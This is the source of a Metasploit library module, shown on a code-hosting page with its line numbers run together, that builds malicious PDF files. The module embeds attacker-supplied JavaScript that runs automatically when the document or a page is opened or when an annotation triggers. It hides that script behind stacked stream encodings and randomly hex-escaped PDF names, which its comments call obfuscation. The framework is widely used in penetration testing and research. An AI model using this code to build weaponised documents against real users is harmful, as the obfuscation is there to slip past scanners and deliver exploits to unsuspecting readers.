Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/lib/msf/core/exploit/pdf.rb
Views: 11623
# -*- coding: binary -*-12###3#4# This module provides methods for creating PDF files.5#6###78module Msf9module Exploit::PDF1011def initialize(info = {})12super1314register_options(15[16OptBool.new('PDF::Obfuscate', [ true, 'Whether or not we should obfuscate the output', true ]),17OptString.new('PDF::Method', [ true, 'Select PAGE, DOCUMENT, or ANNOTATION' , 'DOCUMENT']),18OptString.new('PDF::Encoder', [ true, 'Select encoder for JavaScript Stream, valid values are ASCII85, FLATE, and ASCIIHEX', 'ASCIIHEX']),19OptInt.new('PDF::MultiFilter', [ true, 'Stack multiple encodings n times', 1]),20], Msf::Exploit::PDF21)2223# We're assuming we'll only create one pdf at a time here.24@xref = {}25@pdf = ''26end2728##29#Original Filters30##3132def ascii_hex_whitespace_encode(str)33return str if not datastore['PDF::Obfuscate']34result = ""35whitespace = ""36str.each_byte do |b|37result << whitespace << "%02x" % b38whitespace = " " * (rand(3) + 1)39end40result << ">"41end4243##44#Filters from Origami parser45##46def run_length_encode(stream)47eod = 12848result = ""49i = 05051while i < stream.size52#53# How many identical bytes coming?54#55length = 156while i+1 < stream.size and length < eod and stream[i] == stream[i+1]57length = length + 158i = i + 159end6061#62# If more than 1, then compress them.63#64if length > 165result << (257 - length).chr << stream[i,1]6667#68# Otherwise how many different bytes to copy ?69#70else71j = i72while j+1 < stream.size and (j - i + 1) < eod and stream[j] != stream[j+1]73j = j + 174end7576length = j - i77result << length.chr << stream[i, length+1]7879i = j80end8182i = i + 183end84result << eod.chr85end8687def random_non_ascii_string(count)88result = ""89count.times do90result << (rand(128) + 128).chr91end92result93end9495def ascii85_encode(stream)96eod = "~>"97i = 098code = ""99input = stream.dup100101while i < input.size do102103if input.length - i < 4104addend = 4 - (input.length - i)105input << "\0" * addend106else107addend = 0108end109110inblock = (input[i].ord * 256**3 + input[i+1].ord * 256**2 + input[i+2].ord * 256 + input[i+3].ord)111outblock = ""1121135.times do |p|114c = inblock / 85 ** (4 - p)115outblock << ("!"[0].ord + c).chr116inblock -= c * 85 ** (4 - p)117end118119outblock = "z" if outblock == "!!!!!" and addend == 0120121if addend != 0122outblock = outblock[0,(4 - addend) + 1]123end124125code << outblock126i = i + 4127end128code << eod129end130131# http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/132def nobfu(str)133return str if not datastore['PDF::Obfuscate']134135result = ""136str.scan(/./u) do |c|137if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'138result << "#%x" % c.unpack("C*")[0]139else140result << c141end142end143result144end145146##147#PDF building block functions148##149def header(version = '1.5')150hdr = "%PDF-#{version}" << eol151hdr << "%" << random_non_ascii_string(4) << eol152hdr153end154155def add_object(num, data)156@xref[num] = @pdf.length157@pdf << io_def(num)158@pdf << data159@pdf << endobj160end161162def finish_pdf163@xref_offset = @pdf.length164@pdf << xref_table165@pdf << trailer(1)166@pdf << startxref167168end169170def xref_table171id = @xref.keys.max+1172ret = "xref" << eol173ret << "0 %d" % id << eol174ret << "0000000000 65535 f" << eol175ret << (1..@xref.keys.max).map do |index|176if @xref.has_key?(index)177offset = @xref[index]178"%010d 00000 n" % offset << eol179else180"0000000000 00000 f" << eol181end182end.join183184ret185end186187def trailer(root_obj)188ret = "trailer" << nobfu("<</Size %d/Root " % (@xref.length + 1)) << io_ref(root_obj) << ">>" << eol189ret190end191192def startxref193ret = "startxref" << eol194ret << @xref_offset.to_s << eol195ret << "%%EOF" << eol196ret197end198199def eol200@eol || "\x0d\x0a"201end202203def eol=(new_eol)204@eol = new_eol205end206207def endobj208"endobj" << eol209end210211def io_def(id)212"%d 0 obj" % id213end214215def io_ref(id)216"%d 0 R" % id217end218219##220#Controller function, should be entrypoint for pdf exploits221##222def create_pdf(js)223strFilter = ""224arrResults = []225numIterations = 0226arrEncodings = ['ASCII85','ASCIIHEX','FLATE','RUN']227arrEncodings = arrEncodings.shuffle228if datastore['PDF::MultiFilter'] < arrEncodings.length229numIterations = datastore['PDF::MultiFilter']230else231numIterations = arrEncodings.length232end233for i in (0..numIterations-1)234if i == 0235arrResults = select_encoder(js,arrEncodings[i],strFilter)236next237end238arrResults = select_encoder(arrResults[0],arrEncodings[i],arrResults[1])239end240case datastore['PDF::Method']241when 'PAGE'242pdf_with_page_exploit(arrResults[0],arrResults[1])243when 'DOCUMENT'244pdf_with_openaction_js(arrResults[0],arrResults[1])245when 'ANNOTATION'246pdf_with_annot_js(arrResults[0],arrResults[1])247end248end249250##251#Select an encoder and build a filter specification252##253def select_encoder(js,strEncode,strFilter)254case strEncode255when 'ASCII85'256js = ascii85_encode(js)257strFilter = "/ASCII85Decode"<<strFilter258when 'ASCIIHEX'259js = ascii_hex_whitespace_encode(js)260strFilter = "/ASCIIHexDecode"<<strFilter261when 'FLATE'262js = Zlib::Deflate.deflate(js)263strFilter = "/FlateDecode"<<strFilter264when 'RUN'265js = run_length_encode(js)266strFilter = "/RunLengthDecode"<<strFilter267end268return js,strFilter269end270271##272#Create PDF with Page implant273##274def pdf_with_page_exploit(js,strFilter)275@xref = {}276@pdf = ''277278@pdf << header279add_object(1, nobfu("<</Type/Catalog/Outlines ") << io_ref(2) << nobfu("/Pages ") << io_ref(3) << ">>")280add_object(2, nobfu("<</Type/Outlines/Count 0>>"))281add_object(3, nobfu("<</Type/Pages/Kids[") << io_ref(4) << nobfu("]/Count 1>>"))282add_object(4, nobfu("<</Type/Page/Parent ") << io_ref(3) << nobfu("/MediaBox[%s %s %s %s] " % [rand(200),rand(200),rand(300),rand(300)]) << nobfu(" /AA << /O << /JS ") << io_ref(5) << nobfu("/S /JavaScript >>>>>>"))283compressed = js284stream = "<</Length %s/Filter[" % compressed.length << strFilter << "]>>" << eol285stream << "stream" << eol286stream << compressed << eol287stream << "endstream" << eol288add_object(5, stream)289290finish_pdf291end292293##294#Create PDF with OpenAction implant Note: doesn't carry over if295# you try to merge the exploit PDF with an innocuous one296##297def pdf_with_openaction_js(js,strFilter)298@xref = {}299@pdf = ''300301@pdf << header302303add_object(1, nobfu("<</Type/Catalog/Outlines ") << io_ref(2) << nobfu("/Pages ") << io_ref(3) << ">>")304add_object(2, nobfu("<</Type/Outlines/Count 0>>"))305add_object(3, nobfu("<</Type/Pages/Kids[") << io_ref(4) << nobfu("]/Count 1>>"))306add_object(4, nobfu("<</Type/Page/Parent ") << io_ref(3) << nobfu("/MediaBox[%s %s %s %s] " % [rand(200),rand(200),rand(300),rand(300)]) << nobfu(" /AA << /O << /JS ") << io_ref(5) << nobfu("/S /JavaScript >>>>>>"))307compressed = js308stream = "<</Length %s/Filter[" % compressed.length << strFilter << "]>>" << eol309stream << "stream" << eol310stream << compressed << eol311stream << "endstream" << eol312add_object(5, stream)313314finish_pdf315end316317##318#Create PDF with a malicious annotation319##320def pdf_with_annot_js(js,strFilter)321@xref = {}322@pdf = ''323324@pdf << header325326add_object(1, nobfu("<</Type/Catalog/Outlines ") << io_ref(2) << nobfu("/Pages ") << io_ref(3) << ">>")327add_object(2, nobfu("<</Type/Outlines/Count 0>>"))328add_object(3, nobfu("<</Type/Pages/Kids[") << io_ref(4) << nobfu("]/Count 1>>"))329add_object(4, nobfu("<</Type/Page/Parent ") << io_ref(3) << nobfu("/MediaBox[%s %s %s %s] " % [rand(200),rand(200),rand(300),rand(300)]) << nobfu(" /Annots [") << io_ref(5) << nobfu("]>>"))330add_object(5, nobfu("<</Type/Annot /Subtype /Screen /Rect [%s %s %s %s] /AA << /PO << /JS " % [rand(200),rand(200),rand(300),rand(300)]) << io_ref(6) << nobfu("/S /JavaScript >>>>>>"))331compressed = js332stream = "<</Length %s/Filter[" % compressed.length << strFilter << "]>>" << eol333stream << "stream" << eol334stream << compressed << eol335stream << "endstream" << eol336add_object(6, stream)337338finish_pdf339end340341end342end343344345